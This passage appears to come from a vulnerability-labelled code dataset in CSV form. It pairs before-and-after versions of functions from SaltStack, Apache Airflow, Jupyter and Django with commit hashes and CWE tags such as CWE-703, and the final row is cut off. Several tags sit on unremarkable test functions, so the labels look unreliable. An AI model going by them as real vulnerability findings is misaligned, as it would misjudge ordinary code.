    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        side_effect=[
            None,
            None,
            {""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8081""},
        ]
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": False}):
            ret.update(
                {
                    ""name"": ""required_protocol_port"",
                    ""comment"": """",
                    ""changes"": {
                        ""old"": None,
                        ""new"": {
                            ""sel_type"": ""http_cache_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8081"",
                        },
                    },
                    ""result"": True,
                }
            )
            assert (
                selinux.port_policy_present(
                    ""required_protocol_port"",
                    ""http_cache_port_t"",
                    protocol=""tcp"",
                    port=""8081"",
                )
                == ret
            )

    # Test failure of adding new policy
    mock_add = MagicMock(return_value={""retcode"": 1})
    mock_modify = MagicMock(return_value={""retcode"": 1})
    mock_get = MagicMock(return_value=None)
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": False}):
            comt = ""Error adding new policy: {'retcode': 1}""
            ret.update({""name"": name, ""comment"": comt, ""changes"": {}, ""result"": False})
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/log.py,0,"def load_remote_log_handler() -> RemoteLogIO | None:
    import airflow.logging_config

    return airflow.logging_config.REMOTE_TASK_LOG",CWE-Unknown,apache/airflow,e4fb6862c6b16f790fed1baa4af8882125c984c9,"def load_remote_log_handler() -> RemoteLogIO | None:
    import airflow.logging_config

    return airflow.logging_config.REMOTE_TASK_LOG"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/api/test_client.py,1,"def test_get_count_with_all_params(self):
        """"""Test get_count with all optional parameters.""""""

        logical_dates_str = [""2024-01-01T00:00:00+00:00"", ""2024-01-02T00:00:00+00:00""]
        logical_dates = [timezone.parse(d) for d in logical_dates_str]
        task_ids = [""task1"", ""task2""]
        states = [""success"", ""failed""]

        def handle_request(request: httpx.Request) -> httpx.Response:
            assert request.url.path == ""/task-instances/count""
            assert request.method == ""GET""
            params = request.url.params
            assert params[""dag_id""] == ""test_dag""
            assert params.get_list(""task_ids"") == task_ids
            assert params[""task_group_id""] == ""group1""
            assert params.get_list(""logical_dates"") == logical_dates_str
            assert params.get_list(""run_ids"") == []
            assert params.get_list(""states"") == states
            return httpx.Response(200, json=10)

        client = make_client(transport=httpx.MockTransport(handle_request))
        result = client.task_instances.get_count(
            dag_id=""test_dag"",
            task_ids=task_ids,
            task_group_id=""group1"",
            logical_dates=logical_dates,
            states=states,
        )
        assert result.count == 10",CWE-703,apache/airflow,ef80791fbae6a48059cf2870b7e175a61cf7c361,"def test_get_count_with_all_params(self):
        """"""Test get_count with all optional parameters.""""""

        logical_dates_str = [""2024-01-01T00:00:00+00:00"", ""2024-01-02T00:00:00+00:00""]
        logical_dates = [timezone.parse(d) for d in logical_dates_str]
        task_ids = [""task1"", ""task2""]
        states = [""success"", ""failed""]

        def handle_request(request: httpx.Request) -> httpx.Response:
            assert request.url.path == ""/task-instances/count""
            assert request.method == ""GET""
            params = request.url.params
            assert params[""dag_id""] == ""test_dag""
            assert params.get_list(""task_ids"") == task_ids
            assert params[""task_group_id""] == ""group1""
            assert params.get_list(""logical_dates"") == logical_dates_str
            assert params.get_list(""run_ids"") == []
            assert params.get_list(""states"") == states
            return httpx.Response(200, json=10)

        client = make_client(transport=httpx.MockTransport(handle_request))
        result = client.task_instances.get_count(
            dag_id=""test_dag"",
            task_ids=task_ids,
            task_group_id=""group1"",
            logical_dates=logical_dates,
            states=states,
        )
        assert result.count == 10"
,UNKNOWN,UNKNOWN,tests/operators/test_trigger_dagrun.py,1,"def test_trigger_dagrun(self, dag_maker):
        """"""Test TriggerDagRunOperator.""""""
        with time_machine.travel(""2025-02-18T08:04:46Z"", tick=False):
            with dag_maker(
                TEST_DAG_ID, default_args={""owner"": ""airflow"", ""start_date"": DEFAULT_DATE}, serialized=True
            ):
                task = TriggerDagRunOperator(task_id=""test_task"", trigger_dag_id=TRIGGERED_DAG_ID)
            dag_maker.sync_dagbag_to_db()
            parse_and_sync_to_db(self.f_name)
            dag_maker.create_dagrun()
            task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)

            dagrun = dag_maker.session.query(DagRun).filter(DagRun.dag_id == TRIGGERED_DAG_ID).one()
            assert dagrun.run_type == DagRunType.MANUAL
            actual_run_id = dagrun.run_id.rsplit(""_"", 1)[0]

            expected_run_id = DagRun.generate_run_id(
                run_type=DagRunType.MANUAL, run_after=timezone.utcnow()
            ).rsplit(""_"", 1)[0]

            assert actual_run_id == expected_run_id

            self.assert_extra_link(dagrun, task, dag_maker.session)",CWE-703,apache/airflow,811fa2b016ca613061e5d4d32fee005e53c1bf1d,"def test_trigger_dagrun(self, dag_maker):
        """"""Test TriggerDagRunOperator.""""""
        with time_machine.travel(""2025-02-18T08:04:46Z"", tick=False):
            with dag_maker(
                TEST_DAG_ID, default_args={""owner"": ""airflow"", ""start_date"": DEFAULT_DATE}, serialized=True
            ):
                task = TriggerDagRunOperator(task_id=""test_task"", trigger_dag_id=TRIGGERED_DAG_ID)
            dag_maker.sync_dagbag_to_db()
            parse_and_sync_to_db(self.f_name)
            dag_maker.create_dagrun()
            task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)

            dagrun = dag_maker.session.query(DagRun).filter(DagRun.dag_id == TRIGGERED_DAG_ID).one()
            assert dagrun.external_trigger
            actual_run_id = dagrun.run_id.rsplit(""_"", 1)[0]

            expected_run_id = DagRun.generate_run_id(
                run_type=DagRunType.MANUAL, run_after=timezone.utcnow()
            ).rsplit(""_"", 1)[0]

            assert actual_run_id == expected_run_id

            self.assert_extra_link(dagrun, task, dag_maker.session)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find IPython's package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
    ]
    
    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir(os.path.join('IPython', 'html'))
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""font"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
    ])
    
    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))
    
    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
    nbconvert_templates = [os.path.join(dirpath, '*.*')
                            for dirpath, _, _ in os.walk('templates')]

    os.chdir(cwd)

    package_data = {
        'IPython.config.profile' : ['README*', '*/*.py'],
        'IPython.core.tests' : ['*.png', '*.jpg'],
        'IPython.lib.tests' : ['*.wav'],
        'IPython.testing.plugin' : ['*.txt'],
        'IPython.html' : ['templates/*'] + static_data,
        'IPython.html.tests' : js_tests,
        'IPython.qt.console' : ['resources/icon/*.svg'],
        'IPython.nbconvert' : nbconvert_templates +
            ['tests/files/*.*', 'exporters/tests/files/*.*'],
        'IPython.nbconvert.filters' : ['marked.js'],
        'IPython.nbformat' : ['tests/*.ipynb','v3/v3.withref.json']
    }
    
    return package_data",,jupyter/notebook,556257a66b5e4b311e9202408a8157ae71b685f3,"def find_package_data():
    """"""
    Find IPython's package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
    ]
    
    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir(os.path.join('IPython', 'html'))
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""font"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
    ])
    
    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))
    
    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
    nbconvert_templates = [os.path.join(dirpath, '*.*')
                            for dirpath, _, _ in os.walk('templates')]

    os.chdir(cwd)

    package_data = {
        'IPython.config.profile' : ['README*', '*/*.py'],
        'IPython.core.tests' : ['*.png', '*.jpg'],
        'IPython.lib.tests' : ['*.wav'],
        'IPython.testing.plugin' : ['*.txt'],
        'IPython.html' : ['templates/*'] + static_data,
        'IPython.html.tests' : js_tests,
        'IPython.qt.console' : ['resources/icon/*.svg'],
        'IPython.nbconvert' : nbconvert_templates +
            ['tests/files/*.*', 'exporters/tests/files/*.*'],
        'IPython.nbconvert.filters' : ['marked.js'],
        'IPython.nbformat' : ['tests/*.ipynb','v3/v3.withref.json']
    }
    
    return package_data"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_tasks.py,1,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&execution_date={STR_DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_after_loop"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_this_last"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_0"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_1"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_2"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""this_will_skip"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""priority_weight_strategy"": ""downstream"",
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
    }",CWE-703,apache/airflow,9be2ffc30411693d069074c6a51a243d1e61fdc0,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&execution_date={STR_DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_after_loop"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_this_last"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_0"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_1"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_2"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""this_will_skip"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""execution_date"": DEFAULT_DATE.isoformat(),
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
    }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mdadm.py,0,"def create(name,
           level,
           devices,
           metadata='default',
           test_mode=False,
           **kwargs):
    '''
    Create a RAID device.

    .. versionchanged:: 2014.7.0

    .. warning::
        Use with CAUTION, as this function can be very destructive if not used
        properly!

    CLI Examples:

    .. code-block:: bash

        salt '*' raid.create /dev/md0 level=1 chunk=256 devices=""['/dev/xvdd', '/dev/xvde']"" test_mode=True

    .. note::

        Adding ``test_mode=True`` as an argument will print out the mdadm
        command that would have been run.

    name
        The name of the array to create.

    level
        The RAID level to use when creating the raid.

    devices
        A list of devices used to build the array.

    kwargs
        Optional arguments to be passed to mdadm.

    returns
        test_mode=True:
            Prints out the full command.
        test_mode=False (Default):
            Executes command on remote the host(s) and
            Prints out the mdadm output.

    .. note::

        It takes time to create a RAID array. You can check the progress in
        ""resync_status:"" field of the results from the following command:

        .. code-block:: bash

            salt '*' raid.detail /dev/md0

    For more info, read the ``mdadm(8)`` manpage
    '''
    opts = []
    for key in kwargs:
        if not key.startswith('__'):
            opts.append('--{0}'.format(key))
            if kwargs[key] is not True:
                opts.append(str(kwargs[key]))

    cmd = ['mdadm',
           '-C', name,
           '-R',
           '-v'] + opts + [
           '-l', str(level),
           '-e', metadata,
           '-n', str(len(devices))] + devices

    cmd_str = ' '.join(cmd)

    if test_mode is True:
        return cmd_str
    elif test_mode is False:
        return __salt__['cmd.run'](cmd, python_shell=False)",,saltstack/salt,d744fc631182eda270b55c3f0de6d55a8023a316,"def create(name,
           level,
           devices,
           metadata='default',
           test_mode=False,
           **kwargs):
    '''
    Create a RAID device.

    .. versionchanged:: 2014.7.0

    .. warning::
        Use with CAUTION, as this function can be very destructive if not used
        properly!

    CLI Examples:

    .. code-block:: bash

        salt '*' raid.create /dev/md0 level=1 chunk=256 devices=""['/dev/xvdd', '/dev/xvde']"" test_mode=True

    .. note::

        Adding ``test_mode=True`` as an argument will print out the mdadm
        command that would have been run.

    name
        The name of the array to create.

    level
        The RAID level to use when creating the raid.

    devices
        A list of devices used to build the array.

    kwargs
        Optional arguments to be passed to mdadm.

    returns
        test_mode=True:
            Prints out the full command.
        test_mode=False (Default):
            Executes command on remote the host(s) and
            Prints out the mdadm output.

    .. note::

        It takes time to create a RAID array. You can check the progress in
        ""resync_status:"" field of the results from the following command:

        .. code-block:: bash

            salt '*' raid.detail /dev/md0

    For more info, read the ``mdadm(8)`` manpage
    '''
    opts = []
    for key in kwargs:
        if not key.startswith('__'):
            opts.append('--{0}'.format(key))
            if kwargs[key] is not True:
                opts.append(str(kwargs[key]))

    cmd = ['mdadm',
           '-C', name,
           '-v'] + opts + [
           '-l', str(level),
           '-e', metadata,
           '-n', str(len(devices))] + devices

    cmd = ' '.join(cmd)

    if test_mode is True:
        return cmd
    elif test_mode is False:
        return __salt__['cmd.run'](cmd, python_shell=False)"
,UNKNOWN,UNKNOWN,providers/sftp/tests/unit/sftp/hooks/test_sftp.py,1,"def test_close_conn(self):
        self.hook.conn = self.hook.get_conn()
        assert self.hook.conn is not None
        self.hook.close_conn()
        assert self.hook.conn is None",CWE-703,apache/airflow,998fcd6cfbc35b671a07b92d6f6fc532a00bd8dd,"def test_close_conn(self):
        self.hook.conn = self.hook.get_conn()
        assert self.hook.conn is not None
        self.hook.close_conn()
        assert self.hook.conn is None"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/views/i18n.py,0,"def get(self, request, *args, **kwargs):
        locale = get_language()
        domain = kwargs.get('domain', self.domain)
        # If packages are not provided, default to all installed packages, as
        # DjangoTranslation without localedirs harvests them all.
        packages = kwargs.get('packages', '')
        packages = packages.split('+') if packages else self.packages
        paths = self.get_paths(packages) if packages else None
        self.translation = DjangoTranslation(locale, domain=domain, localedirs=paths)
        context = self.get_context_data(**kwargs)
        return self.render_to_response(context)",CWE-Unknown,django/django,6b5106b1ceec03d945c1104b21feed3e25470fe0,"def get(self, request, *args, **kwargs):
        locale = get_language()
        domain = kwargs.get('domain', self.domain)
        # If packages are not provided, default to all installed packages, as
        # DjangoTranslation without localedirs harvests them all.
        packages = kwargs.get('packages', '').split('+') or self.packages
        paths = self.get_paths(packages) if packages else None
